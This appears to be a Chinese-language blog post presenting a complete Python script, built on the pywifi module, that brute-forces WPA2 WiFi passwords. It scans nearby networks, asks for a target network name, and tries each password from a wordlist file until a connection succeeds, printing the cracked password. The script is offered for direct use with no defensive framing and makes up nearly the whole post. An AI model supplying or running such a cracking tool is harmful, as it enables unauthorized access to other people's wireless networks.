python-wifi暴力破解

使用pywifi模块
我原本想改成多线程,但是好像出现一点问题就改成单线程了,就是有点慢

import pywifi
import time
from pywifi import const
import threading
import sys
'''
1. 导入函数
2. 抓取第一个网卡接口
3. 断开wifi连接
4. 从密码本上读取密码,不断的尝试
5. 设置睡眠时间 , 三秒左右

'''
def scan_wifi(): #扫描当前的wifi
    # 创建一个wifi对象
    wifi = pywifi.PyWiFi()
    #获取网卡 (列表)
    ifaces = wifi.interfaces()[0]
    #扫描附近的wifi
    ifaces.scan()
    scan_result = ifaces.scan_results()
    for wifi_name in scan_result:
        print(wifi_name.ssid)

def wificonnect(wifiname,wifipwd):
    '''wifi的测试连接'''
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    #断开wifi连接
    ifaces.disconnect()
    time.sleep(0.5)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # 创建wifi连接文件
        profile = pywifi.Profile()
        # wifi名称
        profile.ssid = wifiname
        # wifi的密码
        profile.key = wifipwd
        # wifi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 网卡的开放
        profile.auth = const.AUTH_ALG_OPEN
        #加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        #删除所有的wifi文件
        ifaces.remove_all_network_profiles()
        # 设定新的连接文件
        temp_profile = ifaces.add_network_profile(profile)

        # 连接wifi
        ifaces.connect(temp_profile)
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            #print('密码正确:%s'%wifipwd)

            return True
        else:
            #print("密码错误:%s"%wifipwd)
            return False

def read_pwd(wifiname):
    '''读取密码本'''
    print('------开始破解-------')
    file = open('wifi_pwd.txt', 'r')

    while True:
        try:
                pwd = file.readline()
                # wifi_threading = threading.Thread(target=wificonnect,args=(wifiname,pwd))
                # wifi_threading.start()
                bool = wificonnect(wifiname,pwd)
                if bool:
                    print('密码正确:',pwd)
                    break
                else:
                    print("密码错误",pwd)
        except:
            continue
    file.close()


def main():
    scan_wifi()
    wifiname = input("请输入要破解的wifi名称:")
    read_pwd(wifiname)

if __name__ == '__main__':
    main()

运行结果:
python-wifi暴力破解_第1张图片

你可能感兴趣的:(python)